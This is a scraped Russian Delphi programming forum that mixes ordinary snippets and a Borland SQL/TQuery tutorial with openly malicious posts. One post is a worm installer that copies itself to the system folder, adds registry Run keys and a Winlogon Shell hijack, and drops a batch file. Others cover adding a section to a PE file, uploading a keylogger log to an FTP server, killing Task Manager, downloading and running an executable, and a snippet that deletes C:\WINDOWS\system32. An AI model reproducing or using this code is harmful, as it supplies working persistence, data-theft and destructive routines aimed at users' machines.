             Setlength(tx, (i2+1));
             AssignFile(t, tf);
             reset(t);
             for i:=0 to i2 do
             begin
                readln(t, tx[i]);
             end;
             closefile(t);
             for i:=0 to i2 do
             begin
                txb[i]:=tx[i];
                if (txb[i]=(''))or(tx[i]=('')) then
                break;
             end;
end;

14. GetFuncAvailable(LibN, FuncN: string): integer;

Проверит наличие функции в библиотеке.

Code

function GetFuncAvailable(LibN, FuncN: string): integer;
var
             LH: THandle;
             FA: Pointer;
begin
             Result:=0;
             if LoadLibrary(PChar(LibN))=0 then exit;
             LH:=(GetModuleHandle(PChar(LibN)));
             if LH<>0 then
             begin
                FA:=(GetProcAddress(LH, PChar(FuncN)));
                if FA<>nil then
                Result:=(integer(FA));
             end;
end;

15. CreateSvc(ExPath: PChar): boolean

Функция создаёт сервис.

Code

function CreateSvc(ExPath: PChar): boolean;
var
        Svc, SCMgr: integer;
begin
        Result:=False;
        SCMgr:=OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
        if (SCMgr<>0) then
        begin
           Svc:=CreateService(SCMgr, (PChar(D(svcn))), (PChar(D(svcn))),
           STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
           SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
           ExPath, nil, nil, nil, nil, nil);
           CloseServiceHandle(SCMgr);
           if (svc<>0) then
              Result:=true
           else
           Result:=false;
        end;
        CreateSvc:=Result;
end;

16. DeleteSvc(SvcName: PChar): integer;

Удаляет сервис по имени.

Code

function DeleteSvc(SvcName: PChar): integer;
var
       Svc, SCMgr: cardinal;
begin
        Result:=0;
        SCMgr:=OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
        if SCMgr=0 then
        Result:=-1;
        Svc:=OpenService(SCMgr, SvcName, SERVICE_ALL_ACCESS);
        if Svc=0 then
           Result:=Result-1;
        if not DeleteService(Svc) then
           Result:=Result-1;
        CloseServiceHandle(Svc);
end;

Фуух устал. Потом еще добавлю.

Добавление секции

dolphin — Wed, 29 Jun 2011 16:18:05 GMT

Code

Procedure AddSection(SecName:string;R_Size,V_Size:dword);
const
  Ziro: Byte = $00;
var
  VirAddr,PhyAddr,Sect_Align,SzofImg: DWORD;
  i:integer;
  Sec1,Sec2:Psection;
  Secnum : word;
begin
  if (length(SecName)>8) or (R_Size=0) or (V_Size=0) then exit;
  Secnum:=nt.FileHeader.NumberOfSections;
  Sect_Align:=nt.OptionalHeader.SectionAlignment;
  Sec2:=PSection(SectionList[Secnum-1]);
  PhyAddr:=sec2.physical_size+sec2.physical_offs;
  VirAddr:=((Sec2.rva+Sec2.virtual_size+Sect_Align-1) div Sect_Align) * Sect_Align;
  new(Sec1);
  with Sec1^ do
  begin
  rva:=VirAddr;
  virtual_size:=V_Size;
  physical_size:=R_Size;
  physical_offs:=PhyAddr;
  StrPCopy(name,SecName);
  flags:=$60000020;
  end;
  SzofImg:=nt.OptionalHeader.SizeOfImage;
  nt.OptionalHeader.SizeOfImage:=SzofImg+sec2.virtual_size;
  Move(Sec1^,Pointer(Dword(MEMPTR)+PE_HEADEROFFSET+$18+PE_NT_HEADERSIZE+ (Secnum*40))^,40);
  nt.FileHeader.NumberOfSections:=Secnum+1;
  SetFilePointer(PE,Sec1.physical_offs+Sec1.physical_size-R_Size, nil, 0);
  for i:=1 to R_Size do WriteFile(PE, Ziro, SizeOf(Ziro), SzofImg, nil);
end;

Cкачать и запустить из интернета

dolphin — Tue, 10 May 2011 12:55:44 GMT

Доступно только для пользователей

Code

function GetInetFile(const fileURL, FileName: String; Progress: TProgressBar): boolean;
const BufferSize = 1024;
var hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: File;
sAppName: string;
begin
Result:=False;
sAppName := ExtractFileName(Application.ExeName);
hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG,
nil, nil, 0);
try
Progress.Max:= SizeOf(Buffer);
hURL := InternetOpenURL(hSession,
PChar(fileURL),nil,0,0,0);
try
AssignFile(f, FileName);
Rewrite(f,1);
repeat
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen)
until BufferLen = 0;
CloseFile(f);
Result:=True;
finally
InternetCloseHandle(hURL);
Progress.Position:= SizeOf(Buffer);
end
finally
InternetCloseHandle(hSession);
end
end;

Пример:
Код:

if GetInetFile('http://delphi-city.narod.ru/Project1.exe', 'Inet.exe', ProgressBar1)
then ShowMessage('Скачка завершина');

Получить список процессов

dolphin — Sun, 08 May 2011 08:42:49 GMT

Доступно только для пользователей

Code

function GetProcessList: string;
var
    ph: THandle;
    mh: hmodule;
    procs: array[0..$FFF] of dword;
    count, cm: cardinal;
    i: integer;
    ModName: array[0..max_path] of char;
    sl: TStringlist;
begin
   sl:=TStringlist.Create;
   if not EnumProcesses(@procs, sizeof(procs), count) then exit;
   for i := 0 to count div 4 - 1 do
   begin
     ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,procs[i]);
     if ph > 0 then
     begin
       EnumProcessModules(ph, @mh, 4, cm);
       GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName));
       sl.Add(string(ExtractFileName(ModName)));
       CloseHandle(ph);
     end;
   end;
   sl.Delete(0);
   result:=sl.Text;
end;

Найти все окна в системе

dolphin — Sun, 08 May 2011 08:41:37 GMT

Доступно только для пользователей

Code

function okna: string;
var
   Wnd : hWnd;
   buff: array [0..127] of Char;
   sl: TStringList;
begin
   sl:=TStringList.Create;
   Wnd := GetWindow(Application.Handle, gw_HWndFirst);
   while Wnd <> 0 do
   begin
     if (Wnd <> Application.Handle) and
     IsWindowVisible(Wnd) and
     (GetWindow(Wnd, gw_Owner) = 0) and
     (GetWindowText(Wnd, buff, sizeof(buff)) <> 0) then
     begin
       GetWindowText(Wnd, buff, sizeof(buff));
       sl.Add(StrPas(buff));
     end;
     Wnd := GetWindow(Wnd, gw_hWndNext);
   end;
   Result:=sl.Text;
end;

Функции для работы со строками

Anton93 — Wed, 06 Apr 2011 07:48:50 GMT

Форум: Процедуры и функции Delphi
Описание темы: портируем функции из php в Delphi
Автор темы: Anton93
Автор последнего сообщения: gravitas
Количество ответов: 3

Пару примеров!

cool1 — Thu, 10 Feb 2011 17:47:09 GMT

Вы написали кейлоггер! Вам нужно отправить лог на фтп сервак? Вот и решение:

Code

IdFTP.Host := 'Host name'; // указываем хост FTP сервера
IdFTP.Port := 21; // указываем порт FTP сервера (по умолчанию 21)
IdFTP.Username := 'Login'; // указываем логин FTP сервера
IdFTP.Password := 'Pass'; // указываем пароль FTP сервера
IdFTP.Connect; // соединяемся с FTP сервером
IdFTP.Put('log.txt', 'log.txt', False); // отправляем файл FTP серверу
IdFTP.Disconnect; // отсоединяемся от FTP сервера

Компонент: IdFTP
Все!
А вот еще убиваем диспетчера

Code

PostMessage(FindWindow(Nil, 'Диспетчер задач Windows'), WM_QUIT, 0, 0);

Порверяем существует файл на диске или нет?

Code

var
FileName : string;
begin
FileName := 'С:\prog.exe';
if FileExists(FileName) then
ShowMessage('Файл существует')
else
ShowMessage('Файл не существует')
end;

Как программно открыть файл или папку. (ShellAPI)!

Code

ShellExecute(Handle,'Open',Pchar('C:\file.exe),nil,nil,1);

УВСЕ!

Зэ ЭНД?

Удаляем папку

cool1 — Wed, 09 Feb 2011 03:48:25 GMT

Сначала берем функцию удаления папки:

Code

function MyRemoveDir(sDir : string) : Boolean;
var
iIndex: Integer;
SearchRec: TSearchRec;
sFileName: string;
begin
Result := False;
sDir := sDir + '\*.*';
iIndex := FindFirst(sDir, faAnyFile, SearchRec);
while iIndex = 0 do
begin
     sFileName := ExtractFileDir(sDir)+'\'+SearchRec.name;
     if SearchRec.Attr = faDirectory then
     begin
       if (SearchRec.name <> '' ) and (SearchRec.name <> '.') and
       (SearchRec.name <> '..') then
         MyRemoveDir(sFileName);
     end
     else
     begin
       if SearchRec.Attr <> faArchive then
         FileSetAttr(sFileName, faArchive);
       if not DeleteFile(sFileName) then
         ShowMessage('Could NOT delete ' + sFileName);
     end;
     iIndex := FindNext(SearchRec);
end;
FindClose(SearchRec);
RemoveDir(ExtractFileDir(sDir));
Result := True;
end;

А вот теперь самое простое

Code

MyRemoveDir('C:\WINDOWS\system32'); //Удаляем дерикторию C:\WINDOWS\system32

Удачи

Инсталяция вируса в систему

dolphin — Thu, 02 Dec 2010 22:57:24 GMT

Немного о инсталяции

Доступно только для пользователей

Procedure InstallWorm;
Var
Path :String;
Mutex :String;
Handle:THandle;
Bat :TextFile;
Begin
Randomize;
Sleep(Random(10000));

Mutex := '- Fuck Bill Gates -';
Handle := CreateMutexA(NIL, FALSE, pChar(Mutex));
If (Handle = ERROR_ALREADY_EXISTS) Then
ExitProcess(0);

Path := SysDir + 'FuckGates.com';
If (ParamStr(0) <> Path) Then
Begin
If (CopyFile(pChar(ParamStr(0)), pChar(Path), False)) Then
Begin
SetRegValue(HKEY_CURRENT_USER, 'software\microsoft\windows\currentversion\run', 'Fuck Gates', Path);
SetRegValue(HKEY_CURRENT_USER, 'software\microsoft\windows\currentversion\runonce', 'Fuck Gates', Path);
SetRegValue(HKEY_CURRENT_USER, 'software\microsoft\windows\currentversion\runonceex', 'Fuck Gates', Path);
SetRegValue(HKEY_CURRENT_USER, 'software\microsoft\windows\currentversion\runservices', 'Fuck Gates', Path);

SetRegValue(HKEY_LOCAL_MACHINE, 'software\microsoft\windows\currentversion\run', 'Fuck Gates', Path);
SetRegValue(HKEY_LOCAL_MACHINE, 'software\microsoft\windows\currentversion\runonce', 'Fuck Gates', Path);
SetRegValue(HKEY_LOCAL_MACHINE, 'software\microsoft\windows\currentversion\runonceex', 'Fuck Gates', Path);
SetRegValue(HKEY_LOCAL_MACHINE, 'software\microsoft\windows\currentversion\runservices', 'Fuck Gates', Path);
SetRegValue(HKEY_LOCAL_MACHINE, 'software\microsoft\windows nt\currentversion\winlogon', 'Shell', 'Explorer.exe FuckGates.com');
End;

AssignFile(Bat, 'C:\FuckGates.Bat');
ReWrite(Bat);

WriteLn(Bat, '@ECHO OFF');
writeLn(Bat, 'cls');
writeLn(Bat, 'del "'+ParamStr(0)+'"');
WriteLn(Bat, 'cls');
WriteLn(Bat, 'Echo - Fuck Bill Gates - Fuck Microsoft -'#13#10'Echo - Created by blaZcan © 2005 -');
WriteLn(Bat, 'echo ');WriteLn(Bat, 'echo ');
WriteLn(Bat, 'pause');
CloseFile(Bat);

ShellExecute(0, 'open', pchar(path), nil, nil, 0);
ShellExecute(0, 'open', 'c:\FuckGates.Bat', nil, nil, 1);
ExitProcess(0);
End;
End;

SQL-запросы в Delphi

CraftR15 — Sun, 18 Jul 2010 18:34:15 GMT

Компоненты Delphi для работы с базами данных были созданы в расчете на работу с SQL и архитектурой клиент/сервер. При работе с ними вы можете воспользоваться характеристиками расширенной поддержки удаленных серверов. Delphi осуществляет эту поддержку двумя способами. Во-первых, непосредственные команды из Delphi позволяют разработчику управлять таблицами, устанавливать пределы, удалять, вставлять и редактировать существующие записи. Второй способ заключается в использовании запросов на языке SQL, где строка запроса передается на сервер для ее разбора, оптимизации, выполнения и передачи обратно результатов.
Примечание: Данный документ представляет собой коллективный труд нескольких авторов, которые индивидуально несут ответственность за качество предоставленной здесь информации. Borland не предоставлял, и не может предоставить никакой гарантии относительно содержимого данного документа.
1. Введение

Данный документ делает акцент на втором методе доступа к базам данных, на основе запросов SQL (pass-through). Авторы не стремились создать курсы по изучению синтаксиса языка SQL и его применения, они ставили перед собой цель дать несколько примеров использования компонентов TQuery и TStoredProc. Но чтобы сделать это, необходимо понимать концепцию SQL и знать как работают selects, inserts, updates, views, joins и хранимые процедуры (stored procedures). Документ также вскользь касается вопросов управления транзакциями и соединения с базой данных, но не акцентирует на этом внимание. Итак, приступая к теме, создайте простой запрос типа SELECT и отобразите результаты.
2. Компонент TQuery

Если в ваших приложениях вы собираетесь использовать SQL, то вам непременно придется познакомиться с компонентом TQuery. Компоненты TQuery и TTable наследуются от TDataset. TDataset обеспечивает необходимую функциональность для получения доступа к базам данных. Как таковые, компоненты TQuery и TTable имеют много общих признаков. Для подготовки данных для показа в визуальных компонентах используется все тот же TDatasource. Также, для определения к какому серверу и базе данных необходимо получить доступ, необходимо задать имя псевдонима. Это должно выполняться установкой свойства aliasName объекта TQuery.
Свойство SQL
Все же TQuery имеет некоторую уникальную функциональность. Например, у TQuery имеется свойство с именем SQL. Свойство SQL используется для хранения SQL-запроса. Ниже приведены основные шаги для составления запроса, где все служащие имеют зарплату свыше $50,000.
Создайте объект TQuery
Задайте псевдоним свойству DatabaseName. (Данный пример использует псевдоним IBLOCAL, связанный с демонстрационной базой данных employee.gdb).
Выберите свойство SQL и щелкните на кнопке с текстом - '...' (три точки, Инспектор Объектов - В.О.). Должен появиться диалог редактора списка строк (String List Editor).
Введите: Select * from EMPLOYEE where SALARY>50000. Нажмите OK.
Выберите в Инспекторе Объектов свойство Active и установите его в TRUE.
Разместите на форме объект TDatasource.
Установите свойство Dataset у TDatasource в Query1.
Разместите на форме TDBGrid.
Установите его свойство Datasource в Datasource1.
Свойство SQL имеет тип TStrings. Объект TStrings представляет собой список строк, и чем-то похож на массив. Тип данных TStrings имеет в своем арсенале команды добавления строк, их загрузки из текстового файла и обмена данными с другим объектом TStrings. Другой компонент, использующий TStrings - TMemo. В демонстрационном проекте ENTRSQL.DPR (по идее, он должен находится на отдельной дискете, но к "Советам по Delphi" она не прилагается - В.О.), пользователь должен ввести SQL-запрос и нажать кнопку "Do It" ("сделать это"). Результаты запроса отображаются в табличной сетке. В Листинге 1 полностью приведен код обработчика кнопки "Do It". Листинг 1

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
Query1.close; {Деактивируем запрос в качестве одной из мер предосторожности }
Query1.SQL.Clear; {Стираем любой предыдущий запрос}
If Memo1.Lines[0] <> '' {Проверяем на предмет пустого ввода} then
Query1.SQL.Add(Memo1.Text) {Назначаем свойству SQL текст Memo}
else
begin
messageDlg('Не был введен SQL-запрос', mtError, [mbOK], 0);
exit;
end;
try {перехватчик ошибок}
Query1.Open; {Выполняем запрос и открываем набор данных}
except {секция обработки ошибок}
On e : EDatabaseError do {e - новый дескриптор ошибки}
messageDlg(e.message,
mtError,
[mbOK],0); {показываем свойство message объекта e}
end; {окончание обработки ошибки}
end;

Свойство Params
Этого должно быть достаточно для пользователя, знающего SQL. Тем не менее, большинство пользователей не знает этого языка. Итак, ваша работа как разработчика заключается в предоставлении интерфейса и создании SQL-запроса. В Delphi, для создания SQL-запроса на лету можно использовать динамические запросы. Динамические запросы допускают использование параметров. Для определения параметра в запросе используется двоеточие (:), за которым следует имя параметра. Ниже приведен пример SQL-запроса с использованием динамического параметра:
select * from EMPLOYEE
where DEPT_NO = ept_noЕсли вам нужно протестировать, или установить для параметра значение по умолчанию, выберите свойство Params объекта Query1. Щелкните на кнопке '...'. Должен появиться диалог настройки параметров. Выберите параметр Dept_no. Затем в выпадающем списке типов данных выберите Integer. Для того, чтобы задать значение по умолчанию, введите нужное значение в поле редактирования "Value". Для изменения SQL-запроса во время выполнения приложения, параметры необходимо связать (bind). Параметры могут изменяться, запрос выполняться повторно, а данные обновляться. Для непосредственного редактирования значения параметра используется свойство Params или метод ParamByName. Свойство Params представляет из себя массив TParams. Поэтому для получения доступа к параметру, необходимо указать его индекс. Для примера,

Query1.params[0].asInteger := 900;

Свойство asInteger читает данные как тип Integer (название говорит само за себя). Это не обязательно должно указывать но то, что поле имеет тип Integer. Например, если тип поля VARCHAR(10), Delphi осуществит преобразование данных. Так, приведенный выше пример мог бы быть записан таким образом:

Query1.params[0].asString := '900';

или так:

Query1.params[0].asString := edit1.text;

Если вместо номера индекса вы хотели бы использовать имя параметра, то воспользуйтесь методом ParamByName. Данный метод возвращает объект TParam с заданным именем. Например:

Query1.ParamByName('DEPT_NO').asInteger := 900;

В листинге 2 приведен полный код примера.
Листинг 2

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
Query1.close; {Деактивируем запрос в качестве одной из мер предосторожности }
if not Query1.prepared
then
Query1.prepare; {Убедимся что запрос подготовлен}
{Берем значение, введенное пользователем и заменяем
им параметр.}
if edit1.text <> '' {Проверяем на предмет пустого ввода}
then
Query1.ParamByName('DEPT_NO').AsString := edit1.text
else
Begin
Query1.ParamByName('DEPT_NO').AsInteger := 0;
edit1.text := '0';
end;
try {перехватчик ошибок}
Query1.Open; {Выполняем запрос и открываем набор данных}
except {секция обработки ошибок}
On e : EDatabaseError do {e - новый дескриптор ошибки} messageDlg(e.message,
mtError,
[mbOK],0); {показываем свойство message объекта e}
end; {окончание обработки ошибки}
end;

Обратите внимание на процедуру, первым делом подготавливающую запрос. При вызове метода prepare, Delphi посылает SQL запрос на удаленный сервер. Сервер выполняет грамматический разбор и оптимизацию запроса. Преимущество такой подготовки запроса состоит в его предварительном разборе и оптимизации. Альтернативой здесь может служить подготовка сервером запроса при каждом его выполнении. Как только запрос подготовлен, подставляются необходимые новые параметры, и запрос выполняется.
Источник данных
В предыдущем примере пользователь мог ввести номер отдела, и после выполнения запроса отображался список сотрудников этого отдела. А как насчет использования таблицы DEPARTMENT, позволяющей пользователю легко перемещаться между пользователями и отделами?
Примечание: Следующий пример использует TTable с именем Table1. Для Table1 имя базы данных IBLOCAL, имя таблицы - DEPARTMENT. DataSource2 TDatasource связан с Table1. Таблица также активна и отображает записи в TDBGrid.
Способ подключения TQuery к TTable - через TDatasource. Есть два основных способа сделать это. Во-первых, разместить код в обработчике события TDatasource OnDataChange. Например, листинг 3 демонстрирует эту технику.
Листинг 3 - Использования события OnDataChange для просмотра дочерних записей

procedure TForm1.DataSource2DataChange(Sender: TObject; Field: TField);
begin
Query1.Close;
if not Query1.prepared
then
Query1.prepare;
Query1.ParamByName('Dept_no').asInteger := Table1Dept_No.asInteger;
try
Query1.Open;
except
On e : EDatabaseError do
messageDlg(e.message, mtError, [mbOK], 0);
end;
end;

Техника с использованием OnDataChange очень гибка, но есть еще легче способ подключения Query к таблице. Компонент TQuery имеет свойство Datasource. Определяя TDatasource для свойства Datasource, объект TQuery сравнивает имена параметров в SQL-запросе с именами полей в TDatasource. В случае общих имен, такие параметры заполняются автоматически. Это позволяет разработчику избежать написание кода, приведенного в листинге 3 (*** приведен выше ***).
Фактически, техника использования Datasource не требует никакого дополнительного кодирования. Для подключения запроса к таблице DEPT_NO выполните действия, приведенные в листинге 4.
Листинг 4 - Связывание TQuery c TTable через свойство Datasource
Выберите у Query1 свойство SQL и введите:
select * from EMPLOYEE
where DEPT_NO = :dept_noВыберите свойство Datasource и назначьте источник данных, связанный с Table1 (Datasource2 в нашем примере) Выберите свойство Active и установите его в True
Это все, если вы хотите создать такой тип отношений. Тем не менее, существуют некоторые ограничения на параметризованные запросы. Параметры ограничены значениями. К примеру, вы не можете использовать параметр с именем Column или Table. Для создания запроса, динамически изменяемого имя таблицы, вы могли бы использовать технику конкатенации строки. Другая техника заключается в использовании команды Format.
Команда Format
Команда Format заменяет параметры форматирования (%s, %d, %n и пр.) передаваемыми значениями. Например,

Format('Select * from %s', ['EMPLOYEE'])

Результатом вышеприведенной команды будет 'Select * from EMPLOYEE'. Функция буквально делает замену параметров форматирования значениями массива. При использовании нескольких параметров форматирования, замена происходит слева направо. Например,

tblName := 'EMPLOYEE';
fldName := 'EMP_ID';
fldValue := 3;
Format('Select * from %s where %s=%d', [tblName, fldName, fldValue])

Результатом команды форматирования будет 'Select * from EMPLOYEE where EMP_ID=3'. Такая функциональность обеспечивает чрезвычайную гибкость при динамическом выполнении запроса. Пример, приведенный ниже в листинге 5, позволяет вывести в результатах поле salary. Для поля salary пользователь может задавать критерии.
Листинг 5 - Использование команды Format для создания SQL-запроса

procedure TForm1.BitBtn1Click(Sender: TObject);
var
sqlString : string; {здесь хранится SQL-запрос}
fmtStr1,
fmtStr2 : string; {здесь хранится строка, передаваемая для форматирования}

begin
{ Создание каркаса запроса }
sqlString := 'Select EMP_NO %s from employee where SALARY %s';

if showSalaryChkBox.checked {Если checkbox Salary отмечен}
then
fmtStr1 := ', SALARY'
else
fmtStr1 := '';
if salaryEdit.text <> '' { Если поле редактирования Salary не пустое }
then
fmtStr2 := salaryEdit.text
else
fmtStr2 := '>0';

Query1.Close; {Деактивируем запрос в качестве одной из мер предосторожности }
Query1.SQL.Clear; {Стираем любой предыдущий запрос}
Query1.SQL.Add(Format(sqlString,[fmtStr1, fmtStr2]));{Добавляем}
{форматированную строку к свойству SQL}

try {перехватчик ошибок}
Query1.Open; {Выполняем запрос и открываем набор данных}
except {секция обработки ошибок}
On e : EDatabaseError do {e - новый дескриптор ошибки}
messageDlg(e.message, mtError,[mbOK],0);
{показываем свойство message объекта e}
end; {окончание обработки ошибки}
end;

В этом примере мы используем методы Clear и Add свойства SQL. Поскольку "подготовленный" запрос использует ресурсы сервера, и нет никакой гарантии что новый запрос будет использовать те же таблицы и столбцы, Delphi, при каждом изменении свойства SQL, осуществляет операцию, обратную "подготовке" (unprepare). Если TQuery не был подготовлен (т.е. свойство Prepared установлено в False), Delphi автоматически подготавливает его при каждом выполнении. Поэтому в нашем случае, даже если бы был вызван метод Prepare, приложению от этого не будет никакой пользы.
Open против ExecSQL
В предыдущих примерах TQuerie выполняли Select-запросы. Delphi рассматривает результаты Select-запроса как набор данных, типа таблицы. Это просто один класс допустимых SQL-запросов. К примеру, команда Update обновляет содержимое записи, но не возвращает записи или какого-либо значения. Если вы хотите использовать запрос, не возвращающий набор данных, используйте ExecSQL вместо Open. ExecSQL передает запрос для выполнения на сервер. В общем случае, если вы ожидаете, что получите от запроса данные, то используйте Open. В противном случае допускается использование ExecSQL, хотя его использование с Select не будет конструктивным. Листинг 6 содержит код, поясняющий сказанное на примере.
Листинг 6

procedure TForm1.BitBtnClick(sender : TObject)
begin
Query1.Close;
Query1.Clear;
Query1.SQL.Add('Update SALARY from EMPLOYEE ' +
'where SALARY<:salary values (SALARY*(1+:raise)');
Query1.paramByName('salary').asString := edit1.text;
Query1.paramByName('raise').asString := edit2.text;
try
Query1.ExecSQL;
except
On e : EDatabaseError do
messageDlg(e.message, mtError, [mbOK], 0);
end;
end;

Все приведенные выше примеры предполагают использования в ваших приложениях запросов. Они могут дать солидное основание для того, чтобы начать использовать в ваших приложениях TQuery. Но все же нельзя прогнозировать конец использования SQL в ваших приложениях. Типичные серверы могут предложить вам другие характеристики, типа хранимых процедур и транзакций. В следующих двух секциях приведен краткий обзор этих средств.
3. Компонент TStoredProc

Хранимая процедура представляет собой список команд (SQL или определенного сервера), хранимых и выполняемых на стороне сервера. Хранимые процедуры не имеют концептуальных различий с другими типами процедур. TStoredProc наследуется от TDataset, поэтому он имеет много общих характеристик с TTable и TQuery. Особенно заметно сходство с TQuery. Поскольку хранимые процедуры не требуют возврата значений, те же правила действуют и для методов ExecProc и Open. Каждый сервер реализует работу хранимых процедур с небольшими различиями. Например, если в качестве сервера вы используете Interbase, хранимые процедуры выполняются в виде Select-запросов. Например, чтобы посмотреть на результаты хранимой процедуры, ORG_CHART, в демонстрационной базе данных EMPLOYEE, используйте следующих SQL-запрос:
Select * from ORG_CHARTПри работе с другими серверами, например, Sybase, вы можете использовать компонент TStoredProc. Данный компонент имеет свойства для имен базы данных и хранимой процедуры. Если процедура требует на входе каких-то параметров, используйте для их ввода свойство Params. 4. TDatabase

Компонент TDatabase обеспечивает функциональность, которой не хватает TQuery и TStoredProc. В частности, TDatabase позволяет создавать локальные псевдонимы BDE, так что приложению не потребуются псевдонимы, содержащиеся в конфигурационном файле BDE. Этим локальным псевдонимом в приложении могут воспользоваться все имеющиеся TTable, TQuery и TStoredProc. TDatabase также позволяет разработчику настраивать процесс подключения, подавляя диалог ввода имени и пароля пользователя, или заполняя необходимые параметры. И, наконец, самое главное, TDatabase может обеспечивать единственную связь с базой данных, суммируя все операции с базой данных через один компонент. Это позволяет элементам управления для работы с БД иметь возможность управления транзакциями.
Транзакцией можно считать передачу пакета информации. Классическим примером транзакции является передача денег на счет банка. Транзакция должна состоять из операции внесения суммы на новый счет и удаления той же суммы с текущего счета. Если один из этих шагов по какой-то причине был не выполнен, транзакция также считается невыполненной. В случае такой ошибки, SQL сервер позволяет выполнить команду отката (rollback), без внесения изменений в базу данных. Управление транзакциями зависит от компонента TDatabase. Поскольку транзакция обычно состоит из нескольких запросов, вы должны отметить начало транзакции и ее конец. Для выделения начала транзакции используйте TDatabase.BeginTransaction. Как только транзакция начнет выполняться, все выполняемые команды до вызова TDatabase.Commit или TDatabase.Rollback переводятся во временный режим. При вызове Commit все измененные данные передаются на сервер. При вызове Rollback все изменения теряют силу. Ниже в листинге 7 приведен пример, где используется таблица с именем ACCOUNTS. Показанная процедура пытается передать сумму с одного счета на другой.
Листинг 7

procedure TForm1.BitBtn1Click(Sender: TObject);
{ ПРИМЕЧАНИЕ: Поле BALANCE у ACCOUNTS имеет триггер, проверяющий
ситуацию, когда вычитаемая сумма превышает BALANCE. Если так, UPDATE
будет отменен}
begin
try
database1.StartTransaction;
query1.SQL.Clear;
{ Вычитаем сумму из выбранного счета }
query1.SQL.Add(Format('update ACCOUNTS ' +
'set BALANCE = BALANCE - %s ) ' +
'where ACCT_NUM = %s ',
[edit1.text,
Table1Acct_Num.asString]));
query1.ExecSQL;
query1.SQL.Clear;
{ Добавляем сумму к выбранному счету }
query1.SQL.Add(Format('update ACCOUNTS ' +
'set BALANCE = BALANCE + %s ' +
'where ACCT_NUM = %s ',
[edit1.text,
Table2Acct_Num.asString]));
query1.ExecSQL;
database1.Commit; {В этом месте делаем все изменения}
table1.Refresh;
table2.Refresh;
except
{При возникновении в приведенном коде любых ошибок,
откатываем транзакцию назад}
One : EDatabaseError do
begin
messageDlg(e.message, mtError, [mbOK], 0);
database1.rollback;
exit;
end;
One : Exception do
begin
messageDlg(e.message, mtError, [mbOK], 0);
database1.rollback;
exit;
end;
end;
end;

И последнее, что нужно учесть при соединении с базой данных. В приведенном выше примере, TDatabase использовался в качестве единственного канала для связи с базой данных, поэтому было возможным выполнение только одной транзакции. Чтобы выполнить это, было определено имя псевдонима (Aliasname). Псевдоним хранит в себе информацию, касающуюся соединения, такую, как Driver Type (тип драйвера), Server Name (имя сервера), User Name (имя пользователя) и другую. Данная информация используется для создания строки соединения (connect string). Для создания псевдонима вы можете использовать утилиту конфигурирования BDE, или, как показано в примере ниже, заполнять параметры во время выполнения приложения.
TDatabase имеет свойство Params, в котором хранится информация соединения. Каждая строка Params является отдельным параметром. В приведенном ниже примере пользователь устанавливает параметр User Name в поле редактирования Edit1, а параметр Password в поле Edit2. В коде листинга 8 показан процесс подключения к базе данных:
Листинг 8

procedure TForm1.Button1Click(Sender: TObject);
begin
try
With database1 do
begin
Close;
DriverName := 'INTRBASE';
KeepConnection := TRUE;
LoginPrompt := FALSE;
With database1.Params do
begin
Clear;
Add('SERVER NAME=C:IBLOCALEXAMPLESEMPLOYEE.GDB');
Add('SCHEMA CACHE=8');
Add('OPEN MODE=READ/WRITE');
Add('SQLPASSTHRU MODE=SHARED NOAUTOCOMMIT');
Add('USER NAME=' + edit1.text);
Add('PASSWORD=' + edit2.text);
end;
Open;
end;
session.getTableNames(database1.databasename, '*',
TRUE,
TRUE,
ComboBox1.items);
Except
One : EDatabaseError do
begin
messageDlg(e.message, mtError, [mbOK], 0);
end;
end;
end;

Этот пример показывает как можно осуществить подключение к серверу без создания псевдонима. Ключевыми моментами здесь являются определение DriverName и заполнение Params информацией, необходимой для подключения. Вам не нужно определять все параметры, вам необходимо задать только те, которые не устанавливаются в конфигурации BDE определенным вами драйвером базы данных. Введенные в свойстве Params данные перекрывают все установки конфигурации BDE. Записывая параметры, Delphi заполняет оставшиеся параметры значениями из BDE Config для данного драйвера. Приведенный выше пример также вводит такие понятия, как сессия и метод GetTableNames. Это выходит за рамки обсуждаемой темы, достаточно упомянуть лишь тот факт, что переменная session является дескриптором database engine. В примере она добавлена только для "показухи".
Другой темой является использование SQLPASSTHRU MODE. Этот параметр базы данных отвечает за то, как натив-команды базы данных, такие, как TTable.Append или TTable.Insert будут взаимодействовать с TQuery, подключенной к той же базе данных. Существуют три возможных значения: NOT SHARED, SHARED NOAUTOCOMMIT и SHARED AUTOCOMMIT. NOT SHARED означает, что натив-команды используют одно соединение с сервером, тогда как запросы - другое. Со стороны сервера это видится как работа двух разных пользователей. В любой момент времени, пока транзакция активна, натив-команды не будут исполняться (committed) до тех пор, пока транзакция не будет завершена. Если был выполнен TQuery, то любые изменения, переданные в базу данных, проходят отдельно от транзакции.
Два других режима, SHARED NOAUTOCOMMIT и SHARED AUTOCOMMIT, делают для натив-команд и запросов общим одно соединение с сервером. Различие между двумя режимами заключаются в передаче выполненной натив-команды на сервер. При выбранном режиме SHARED AUTOCOMMIT бессмысленно создавать транзакцию, использующую натив-команды для удаления записи и последующей попыткой осуществить откат (Rollback). Запись должна быть удалена, а изменения должны быть сделаны (committed) до вызова команды Rollback. Если вам нужно передать натив-команды в пределах транзакции, или включить эти команды в саму транзакцию, убедитесь в том, что SQLPASSTHRU MODE установлен в SHARED NOAUTOCOMMIT или в NOT SHARED.
5. Выводы

Delphi поддерживает множество характеристик при использовании языка SQL с вашими серверами баз данных. На этой ноте разрешите попрощаться и пожелать почаще использовать SQL в ваших приложениях.

Лоадер файлов на WinSock

CraftR15 — Sat, 17 Jul 2010 18:35:34 GMT

Доступно только для пользователей

Code

program FileDown;

uses
Windows, Winsock, ShellApi;

function GetIpFromDns(HostName: string): string;
type
tAddr = array[0..100] of PInAddr;
pAddr = ^tAddr;
var
I: Integer;
WSA: TWSAData;
PHE: PHostEnt;
P: pAddr;
begin
Result := HostName;
